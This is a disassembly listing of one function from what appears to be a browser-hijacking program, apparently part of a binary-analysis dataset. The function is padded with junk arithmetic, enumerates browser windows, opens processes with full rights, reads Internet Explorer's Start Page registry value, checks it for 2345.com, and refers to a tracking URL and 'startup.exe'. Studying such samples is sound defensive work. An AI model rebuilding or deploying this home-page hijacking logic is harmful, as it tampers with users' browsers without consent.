Function at 0x411a30
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43fced
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.00425740
mov eax, dword [0x452ad4]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x451a78]
mov eax, 0xfe03f81
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a84]
imul edx, edx, 0xe8
sub edx, eax
sub edx, dword [0x451a68]
mov eax, dword [0x451a6c]
mov ebx, dword [0x451a7c]
imul ebx, ebx, 0xfffffefe
lea esi, [edx + eax + 0x21b]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x451a80]
mov eax, 0x43b3d5b
imul ecx
mov ecx, dword [0x451a64]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
xor edi, edi
add ebx, esi
lea edx, [ecx + ebx - 0xd8]
mov dword [ebp - 0x10e4], edi
mov dword [str._r_____r_____n], esi
mov dword [ebp - 4], edi
mov dword [0x451a64], edx
mov dword [ebp - 0x10d8], edi
lea eax, [ebp - 0x10d8]
push eax
push 0x442078
push 0x17
push edi
push 0x446864
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x451a78]
mov ebx, eax
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x451a6c]
mov eax, 0x2053e08b
imul ecx
sub edx, ecx
mov ecx, dword [0x451a7c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, ecx
mov ecx, dword [0x451a84]
lea edx, [eax + ecx - 0xd2]
test ebx, ebx
mov dword [0x451a6c], edx
jge 0x411bc9
mov ecx, dword [0x451a68]
mov eax, 0x7a0a7ce7
imul ecx, ecx, 0x21e
imul esi
mov esi, dword [0x451a80]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a74]
imul edx, edx, 0x79
sub ecx, eax
add ecx, esi
lea eax, [edx + ecx + 0x215]
mov dword [0x451a70], eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 0
je 0x411bc2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x4138e9
mov edx, dword [0x451a70]
imul ecx, ecx, 0xd9
mov esi, dword [0x451a74]
mov eax, 0x577f7cc1
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, ecx
add eax, 0x506
mov dword [0x451a74], eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x10f0]
push edx
mov dword [ebp - 0x10f0], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ebx, dword [0x451a68]
mov ecx, dword [0x451a70]
mov edx, dword [0x451a6c]
imul ecx, ecx, 0xd9
mov eax, ebx
imul edx, edx, 0x102
imul eax, eax, 0x193
sub ecx, eax
add ecx, edx
mov eax, 0x43b3d5b
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov dword [0x451a78], ecx
je 0x411bae
mov esi, dword [0x451a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul ebx
add edx, ebx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0x125
sub esi, eax
mov eax, dword [ebp + 8]
test eax, eax
lea esi, [esi + edx - 0xd8]
mov dword [0x451a7c], esi
je 0x411d16
mov esi, dword [0x451a80]
imul ecx, ecx, 0x2ed
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a64]
imul edx, edx, 0x219
sub ecx, eax
add ecx, edx
sub ecx, ebx
add ecx, 0x1eb
mov dword [0x451a80], ecx
mov ecx, 0x563b20
call fcn.004063d0
mov ebx, dword [0x451a68]
mov ecx, dword [0x451a78]
mov esi, dword [0x451a7c]
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul dword [0x451a74]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a6c]
imul edx, edx, 0x21e
mov edi, eax
sub edi, esi
mov esi, dword [str._r_____r_____n]
add edi, edx
mov eax, 0xa29ecf17
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, 0xd8
mov dword [0x451a84], edi
mov dword [ebp - 0x10f4], 0
mov esi, dword [ebp - 0x10f4]
cmp esi, dword [ebp - 0x10f0]
jge 0x413890
mov eax, 0xfe03f81
imul edi, edi, 0xe8
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a6c]
sub edi, ecx
sub edi, ebx
lea eax, [edi + edx + 0x21b]
mov dword [str._r_____r_____n], eax
mov dword [ebp - 0x10d0], 0
mov eax, esi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10d8]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d0]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x451a78]
mov esi, dword [0x451a6c]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
mov esi, dword [0x451a7c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a84]
sub eax, ebx
sub eax, esi
test edi, edi
lea eax, [eax + edx - 0xd2]
mov dword [0x451a6c], eax
jl 0x411f34
mov edx, dword [0x451a68]
imul eax, eax, 0x102
mov ecx, dword [0x451a70]
mov edi, edx
imul ecx, ecx, 0xd9
imul edi, edi, 0x193
sub ecx, edi
add ecx, eax
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d0]
xor edi, edi
test eax, eax
mov dword [0x451a78], ecx
mov dword [ebp - 0x10c8], edi
je 0x411ee3
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x4420d0
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10c8]
mov ecx, dword [0x451a78]
mov esi, dword [0x451a7c]
imul esi, esi, 0xfffffefe
mov ebx, dword [0x451a80]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x43b3d5b
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub esi, eax
add esi, edx
test edi, edi
mov edx, dword [0x451a64]
lea eax, [edx + esi - 0xd8]
mov dword [0x451a64], eax
jne 0x411f51
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 1
je 0x413872
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41386c
mov esi, dword [0x451a68]
mov eax, 0x7a0a7ce7
imul ecx
mov ecx, dword [0x451a74]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x21e
sub edx, eax
mov eax, ecx
imul eax, eax, 0x79
add edx, ebx
lea edx, [eax + edx + 0x215]
xor ebx, ebx
mov dword [0x451a70], edx
mov dword [ebp - 0x10dc], ebx
imul ecx, ecx, 0xab
mov eax, 0xdfac1f75
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0x125
lea ecx, [ecx + eax - 0xd8]
lea eax, [ebp - 0x10dc]
push eax
mov dword [0x451a7c], ecx
mov edx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [edx + 0x48]
cmp eax, ebx
jge 0x412021
mov eax, dword [ebp - 0x10dc]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x411ff0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x412004
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d0]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41386c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41386c
mov ecx, dword [0x451a84]
mov eax, 0x577f7cc1
imul ecx, ecx, 0xe8
imul dword [0x451a6c]
mov esi, dword [ebp - 0x10dc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a7c]
imul edx, edx, 0x21e
add eax, edx
mov edx, dword [0x451a70]
sub eax, ecx
sub eax, edx
add eax, 0x33e
cmp esi, ebx
mov dword [0x451a68], eax
mov dword [ebp - 0x10d4], ebx
je 0x41208b
mov edx, dword [esi]
lea eax, [ebp - 0x10d4]
push eax
push 0x4420e0
push esi
call dword [edx]
mov esi, dword [ebp - 0x10dc]
mov eax, 0x577f7cc1
imul dword [0x451a70]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x451a74]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
mov ecx, dword [0x451a84]
sar edx, 7
imul ecx, ecx, 0xd9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, ecx
add eax, 0x506
mov dword [0x451a74], eax
cmp dword [ebp - 0x10d4], ebx
mov byte [ebp - 4], 6
jne 0x41211a
cmp esi, ebx
mov byte [ebp - 4], 4
je 0x4120ef
mov edx, dword [esi]
push esi
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x412103
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d0]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41386c
jmp 0x413866
push ebx
call fcn.004256ff
sub eax, dword [0x563d78]
add esp, 4
cmp eax, 0x708
jge 0x412333
mov ecx, dword [0x451a78]
mov edi, dword [0x451a68]
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x451a84]
imul ecx, ecx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a6c]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0x21b]
mov dword [str._r_____r_____n], eax
mov eax, dword [ebp - 0x10c8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1100]
push edx
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1100]
lea eax, [ebp - 0x10f8]
push eax
push ecx
mov dword [ebp - 0x10f8], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x451a6c]
mov esi, dword [0x451a7c]
mov eax, 0x577f7cc1
imul ecx
mov eax, dword [0x451a84]
mov edi, dword [0x451a70]
imul eax, eax, 0xe8
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x21e
add ecx, edx
sub ecx, eax
sub ecx, edi
mov edi, dword [ebp - 0x10f8]
add ecx, 0x33e
test edi, edi
mov dword [0x451a68], ecx
je 0x412c81
mov edx, dword [0x451a78]
imul ecx, ecx, 0x21e
mov ebx, dword [0x451a80]
mov eax, 0x7a0a7ce7
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a74]
imul edx, edx, 0x79
sub ecx, eax
push edi
add ecx, ebx
push 0
lea eax, [edx + ecx + 0x215]
push 0x1f0fff
mov dword [0x451a70], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x412333
mov ecx, dword [0x451a68]
mov edi, dword [0x451a70]
mov eax, dword [0x451a6c]
imul edi, edi, 0xd9
mov edx, ecx
imul eax, eax, 0x102
imul edx, edx, 0x193
sub edi, edx
add edi, eax
mov eax, 0x43b3d5b
imul ecx
mov al, byte [0x442ace]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov dx, word [0x442acc]
sub edi, ecx
mov dword [0x451a78], edi
mov byte [ebp - 0x2c2], al
mov word [ebp - 0x2c4], dx
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
lea ecx, [ebp - 0x2c4]
push ecx
push 0
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x451a80]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
mov ecx, dword [0x451a78]
sar edx, 9
imul ecx, ecx, 0x2ed
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a64]
imul edx, edx, 0x219
sub ecx, eax
mov eax, dword [0x451a68]
add ecx, edx
sub ecx, eax
lea eax, [ebp - 0x2c4]
add ecx, 0x1eb
push str.startup.exe
push eax
mov dword [0x451a80], ecx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412cea
mov ecx, dword [0x451a80]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
mov ecx, dword [0x451a78]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, dword [0x451a68]
mov edx, ecx
imul edx, edx, 0x2ed
sub edx, eax
mov eax, dword [0x451a64]
imul eax, eax, 0x219
add edx, eax
mov eax, dword [ebp + 8]
sub edx, edi
add edx, 0x1eb
mov dword [0x451a80], edx
mov edx, dword [ebp - 0x10e4]
inc edx
test eax, eax
mov dword [ebp - 0x10e4], edx
je 0x4137be
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10cc], esp
push edx
call fcn.00406eb0
mov ecx, 0x563b20
call fcn.00406500
test al, al
mov ecx, dword [0x451a78]
jne 0x4137be
mov edi, dword [0x451a84]
mov eax, 0xfe03f81
imul ecx
sar edx, 4
mov esi, dword [0x451a6c]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0xe8
sub edx, eax
sub edx, dword [0x451a68]
lea eax, [edx + esi + 0x21b]
mov dword [str._r_____r_____n], eax
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov ebx, dword [0x451a7c]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x2053e08b
imul esi
sub edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, ebx
lea ecx, [eax + edi - 0xd2]
mov eax, dword [ebp - 0x10c8]
mov dword [0x451a6c], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1104]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x451a68]
mov esi, dword [0x451a70]
mov eax, dword [0x451a6c]
imul esi, esi, 0xd9
mov edx, ecx
imul eax, eax, 0x102
imul edx, edx, 0x193
sub esi, edx
add esi, eax
mov eax, 0x43b3d5b
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x1104]
sub esi, ecx
push edx
mov dword [0x451a78], esi
call fcn.0041afa0
mov ecx, dword [0x451a78]
mov ebx, dword [0x451a68]
mov dword [ebp - 0x10cc], eax
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x451a84]
imul ecx, ecx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a6c]
sub ecx, eax
sub ecx, ebx
lea eax, [ecx + edx + 0x21b]
mov dword [str._r_____r_____n], eax
mov eax, dword [ebp - 0x10d4]
mov ecx, dword [eax]
lea edx, [ebp - 0x10fc]
xor esi, esi
push edx
push eax
call dword [ecx + 0x90]
mov edx, dword [0x451a6c]
mov ecx, eax
mov eax, 0x577f7cc1
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a7c]
mov edi, dword [0x451a70]
imul edx, edx, 0x21e
add eax, edx
mov edx, dword [0x451a84]
imul edx, edx, 0xe8
sub eax, edx
sub eax, edi
add eax, 0x33e
test ecx, ecx
mov dword [0x451a68], eax
jne 0x41254e
mov eax, dword [ebp - 0x10fc]
push eax
call fcn.0041afa0
mov esi, eax
push 0
call fcn.004256ff
sub eax, dword [0x563adc]
add esp, 4
cmp eax, 5
jle 0x4131c2
test esi, esi
je 0x412582
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412570
sub eax, edx
cmp eax, 5
ja 0x4131c2
mov ecx, dword [0x451a78]
mov eax, 0x7a0a7ce7
imul ecx
mov eax, dword [0x451a74]
sar edx, 8
imul eax, eax, 0x79
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x451a68]
imul edx, edx, 0x21e
sub edx, ecx
add edx, dword [0x451a80]
lea ecx, [eax + edx + 0x215]
mov dword [0x451a70], ecx
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4125d0
lea edx, [ebp - 0x1c4]
push edx
call fcn.0041ae40
mov ecx, dword [0x451a74]
mov esi, dword [0x451a7c]
mov dword [ebp - 0x110c], eax
imul esi, esi, 0x2ed
mov eax, 0x7a0a7ce7
imul ecx
mov ecx, dword [0x451a6c]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, esi
add ebx, ecx
mov ecx, dword [str._r_____r_____n]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x442ab0]
sub ebx, eax
mov eax, dword [0x442ab4]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x442ab8]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x442abc]
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x451a78]
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x451a6c]
sub ebx, 0xd8
mov dword [0x451a84], ebx
imul ebx, ebx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a68]
sub ebx, eax
lea eax, [ebp - 0x10ec]
push eax
push 0xf003f
sub ebx, edx
lea edx, [ebx + ecx + 0x21b]
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocString
mov dword [ebp - 0x10ec], 0
movsw word es:[edi], word [esi]
mov dword [str._r_____r_____n], edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41292d
mov ecx, dword [0x451a70]
mov esi, dword [0x451a74]
mov eax, 0x577f7cc1
imul ecx
imul ecx, ecx, 0xd9
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a84]
mov esi, dword [0x451a78]
imul edx, edx, 0xd9
sub eax, edi
sub eax, edx
add eax, 0x506
mov dword [0x451a74], eax
mov eax, 0xa29ecf17
imul esi
add edx, esi
mov esi, dword [0x451a7c]
sar edx, 8
imul esi, esi, 0xfffffefe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a80]
sub esi, eax
mov ebx, dword [str._r_____r_____n]
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a64]
sub esi, eax
add esi, ebx
lea eax, [edx + esi - 0xd8]
mov edx, dword [0x451a68]
mov dword [0x451a64], eax
mov eax, edx
imul eax, eax, 0x193
sub ecx, eax
mov eax, dword [0x451a6c]
imul eax, eax, 0x102
add ecx, eax
mov eax, 0x43b3d5b
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x451a78], ecx
lea ecx, [ebp - 0x1108]
push ecx
mov ecx, dword [ebp - 0x10ec]
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10e0]
push eax
push 0
push str.Start_Page
mov ebx, 1
push ecx
mov dword [ebp - 0x1108], 0x104
mov dword [ebp - 0x10e0], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41292d
mov edi, dword [0x451a6c]
mov eax, 0x577f7cc1
imul edi
mov eax, dword [0x451a84]
mov ecx, dword [0x451a70]
imul eax, eax, 0xe8
sar edx, 8
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x451a7c]
imul edx, edx, 0x21e
add esi, edx
sub esi, eax
mov eax, dword [0x563e14]
sub esi, ecx
add esi, 0x33e
test eax, eax
mov dword [0x451a68], esi
jne 0x41293f
lea ecx, [ebp - 0x144]
push str..2345.com
push ecx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x4128bc
lea edx, [ebp - 0x144]
push str..2345.COM
push edx
call fcn.00425e30
add esp, 8
test eax, eax
je 0x41292d
mov ecx, dword [0x451a78]
mov eax, 0xfe03f81
imul ecx
mov ecx, dword [0x451a84]
imul ecx, ecx, 0xe8
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a6c]
sub ecx, eax
sub ecx, dword [0x451a68]
lea eax, [ecx + edx + 0x21b]
lea ecx, [ebp - 0x144]
push ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x563e88
mov dword [str._r_____r_____n], eax
mov dword [0x563e14], ebx
call fcn.0042561a
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x451a68]
mov edi, dword [0x451a6c]
mov ecx, dword [0x451a70]
imul ecx, ecx, 0xd9
imul edi, edi, 0x102
mov edx, esi
imul edx, edx, 0x193
sub ecx, edx
mov eax, 0x43b3d5b
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add ecx, edi
add eax, edx
sub ecx, eax
mov dword [0x451a78], ecx
mov ecx, dword [ebp - 0x10ec]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x451a78]
mov esi, dword [0x451a7c]
mov edi, dword [0x451a80]
imul esi, esi, 0xfffffefe
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
imul ecx, ecx, 0x2ed
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x43b3d5b
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x451a64]
sub esi, eax
add esi, dword [str._r_____r_____n]
mov ebx, dword [0x451a68]
lea esi, [edx + esi - 0xd8]
mov eax, 0xae4c415d
imul edi
mov dword [0x451a64], esi
imul esi, esi, 0x219
add edx, edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
add ecx, esi
sub ecx, ebx
add ecx, 0x1eb
lea edx, [ebp - 0x10e8]
push edx
mov dword [0x451a80], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10e8]
push eax
call fcn.0041afa0
mov ecx, dword [0x451a78]
mov ebx, eax
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x451a6c]
mov eax, 0x2053e08b
imul ecx
sub edx, ecx
sar edx, 8
mov eax, edx
mov ecx, dword [0x451a7c]
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
test ebx, ebx
mov ecx, dword [0x451a84]
lea edx, [eax + ecx - 0xd2]
mov dword [0x451a6c], edx
je 0x412b19
mov edi, 0x4420b4
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x412b19
mov ecx, dword [0x451a70]
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x451a74]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, dword [0x451a84]
imul eax, eax, 0xd9
sub ecx, esi
sub ecx, eax
add ecx, 0x506
push 1
mov dword [0x451a74], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d4]
mov edx, dword [eax]
lea ecx, [ebp - 0x10e8]
push ecx
push eax
call dword [edx + 0xa0]
mov edx, dword [ebp - 0x10e8]
push edx
call fcn.0041afa0
mov ebx, eax
mov ecx, dword [0x451a68]
mov esi, dword [0x451a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 8
imul ecx, ecx, 0x125
mov eax, edx
shr eax, 0x1f
add eax, edx
push 4
sub esi, eax
lea edx, [esi + ecx - 0xd8]
push str.http
push ebx
mov dword [0x451a7c], edx
call fcn.00426290
add esp, 0xc
test eax, eax
je 0x412d91
push 4
push str.HTTP
push ebx
call fcn.00426290
add esp, 0xc
test eax, eax
je 0x412d91
push 4
push str.www.
push ebx
call fcn.00426290
add esp, 0xc
test eax, eax
je 0x412d91
push 4
push str.WWW.
push ebx
call fcn.00426290
add esp, 0xc
test eax, eax
je 0x412d91
push str.http:
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412c05
push str.HTTP:
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412c05
push str.www.
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
jne 0x412c05
push str.WWW.
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
je 0x412d91
mov ecx, dword [0x451a74]
mov esi, dword [0x451a7c]
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul ecx
mov ecx, dword [0x451a6c]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
sub edi, esi
add edi, ecx
mov ecx, dword [str._r_____r_____n]
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push str.http:
sub edi, 0xd8
push ebx
mov dword [0x451a84], edi
call fcn.00425e30
add esp, 8
test eax, eax
je 0x412d3d
push str.http:
jmp 0x412d86
mov ecx, dword [0x451a78]
imul esi, esi, 0xfffffefe
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov edi, dword [str._r_____r_____n]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x451a80]
mov eax, 0x43b3d5b
imul ecx
mov ecx, dword [0x451a64]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, edi
lea edx, [ecx + esi - 0xd8]
push str.startup.exe
mov dword [0x451a64], edx
call fcn.00403c00
add esp, 4
test eax, eax
jle 0x412333
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 5
je 0x412cfe
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x412d12
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x412d26
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 1
je 0x41386c
jmp 0x413866
push str.HTTP:
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
je 0x412d56
push str.HTTP:
jmp 0x412d86
push str.www.
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
je 0x412d6f
push str.www.
jmp 0x412d86
push str.WWW.
push ebx
call fcn.00425e30
add esp, 8
test eax, eax
je 0x412d91
push str.WWW.
push ebx
call fcn.00425e30
add esp, 8
mov ebx, eax
mov esi, dword [0x451a84]
